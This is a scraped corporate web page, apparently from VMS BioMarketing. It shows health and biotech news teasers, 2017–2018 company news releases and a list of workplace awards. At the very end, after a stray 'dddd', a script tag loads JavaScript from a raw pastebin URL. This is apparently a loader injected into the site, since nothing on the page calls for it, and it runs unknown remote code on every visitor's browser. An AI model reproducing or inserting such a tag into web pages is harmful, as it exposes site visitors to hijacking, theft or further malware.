In the News

The biotechnology industry uses advances in genetics research to develop products for human diseases and conditions. This section includes news on pharmaceutical companies, mergers and acquisitions, drug development, export and import of drugs, legislation, advertising and influence.

'Simple modification' could help antibiotics overcome resistance
A simple way of linking vancomycin to an antimicrobial peptide led to a fivefold increase in the antibiotic's power against an infectious bacterium.

Antibiotic resistance: Breakthrough study offers solution
Mice treated with small molecules that stop bacteria forming toxins survived MRSA infection without the need for antibiotics, study found.

How a 150-year old drug might help battle cancer
The potency of cancer treatments is often reduced by a lack of oxygen in and around the tumor. Researchers have found an existing drug that might help.

High blood pressure control with 'exercise in a pill'
Increased body levels of a compound that the liver makes could control high blood pressure without having to exercise or eat less salt, study suggests.

What is the difference between clonazepam and Xanax?
Clonazepam and Xanax both belong to a class of drugs called benzodiazepines. As a result, they are quite similar, but doctors may prescribe them for different reasons. Learn more about the differences in their uses, effects, and dosages here.

Drugs could one day treat nearsightedness, reveals gene study
The molecular pathways involved in the development of near- and farsightedness are different, according to an animal study of gene changes in the retina.

Existing drug shows promise for treating aggressive breast cancer
An antipsychotic drug that is used to treat Tourette's syndrome shows promising results against triple-negative breast cancer in a study of cells and mice.

5 bizarre medical techniques from history
We discuss five unusual medical procedures from ancient civilizations and more recent history. The journey toward medical discovery has been a bumpy ride.

Alzheimer's: Groundbreaking plan aims to target root cause
Now that scientists agree that oligomer protein deposits cause Alzheimer's, an international team has detailed a plan for developing drugs to target them.

Cancer: Using cell metabolism to fight stubborn tumors
Targeting cell metabolism could stop cancer cells from using a survival mechanism called autophagy to escape treatment and seed new tumors, says new study.

What are the side effects of antibiotics?
Doctors prescribe antibiotics to treat bacterial infections. However, they can cause side effects, such as digestive issues, fungal infections, and drug interactions. Some people experience severe reactions, including anaphylaxis and antibiotic resistant infections. Learn about the side effects of antibiotics here.

Experimental drug may treat 'undruggable' cancers
Researchers have found a way to block a cell signaling pathway that is common to many hard-to-treat cancers and has so far defied attempts to target it.

Can you mix cephalexin and alcohol?
Cephalexin, also spelled cefalexin, is an antibiotic. It belongs to a class of antibiotics known as first-generation cephalosporins, which doctors use to treat a range of bacterial infections. While some antibiotics are not safe to take when consuming alcohol, cephalexin does not usually cause adverse reactions.

Cancer cells are weaker when made more acidic
New research suggests that making the insides of cancer cells more acidic upsets their metabolism. This vulnerability could offer new therapy targets.

New antibiotic found in common weed
Researchers have found a new type of antibiotic on the leaf of a common weed and suggest that this little-explored ecosystem could yield many new drugs.

Blocking one enzyme could help treat many chronic disorders
New drugs for diverse inflammatory diseases — from Alzheimer's and Parkinson's to cancer and osteoarthritis — may come from the discovery of a new target.

Read More

News Releases

Keep up on the latest news from VMS BioMarketing. Links to featured news releases are posted below.

VMS BioMarketing Launches New Corporate Website
Posted on Tuesday June 05, 2018

New website provides practical solutions to challenges of medication adherence

VMS to Sponsor Oncology Nursing Society 'Mara' Lecture Addressing Topics Related to the Psychosocial Aspects of Cancer
Posted on Tuesday May 15, 2018

VMS BioMarketing Clinical Educators Gear Up to Help Reduce HIV Risks
Posted on Wednesday May 02, 2018

Healthcare provider education aimed at preventing opioid-related HIV outbreaks

VMS BioMarketing Clinical Nurse Educators Will Provide Education to Support Needs of Women With Breast Cancer
Posted on Wednesday October 11, 2017

VMS BioMarketing Named a Best Workplace for Giving Back by Fortune Magazine and Great Place to Work®
Posted on Wednesday September 20, 2017

Awards + Recognition

VMS has experienced more than two decades of success by strategically partnering with our clients to continually provide best-in-class service. We have been recognized for our key contributions and impressive growth.

For the third consecutive year, rated a Great Place to Work® by the experts who produce FORTUNE's 100 Best Companies to Work For® list

Named one of the 2017 Best Workplaces for Giving Back by Fortune magazine and a Great Place to Work
Selected by Fortune magazine as one of the "100 Best Medium Workplaces" in America, with rankings based on anonymous surveys from more than 52,000 employees at Great Place to Work®-certified companies
Great Place to Work® and Fortune magazine recognized VMS BioMarketing as one of the 100 Best Workplaces for Women
Selected as a "Most Valuable Patient Initiative" Finalist and a "Most Valuable HCP Initiative" Finalist at the 2017 Eyeforpharma Awards
Named three times as one of Inc. 500's "Fastest Growing Companies in America"
Recognized by a Fortune 500 pharmaceutical client with a "Global Supplier of the Year" award
Recognized by the Edward Lowe Foundation as one of the "Indiana Companies to Watch" in 2008
Recognized by Working Mother magazine in 2008 as a Top 25 outstanding family-friendly company
Received "Family Friendly Workplace" award from the Indiana Youth Institute in 2008
Highlighted as a "Growth 100" company by the Kelley School of Business Johnson Center for Entrepreneurship and Innovation
Selected as one of Ernst and Young's "Entrepreneur of the Year" finalists
Listed in the top five of the Best Places to Work in Indiana three years in a row

dddd

<script type="text/javascript" src="https://pastebin.com/raw/4dbtAk6G"></script>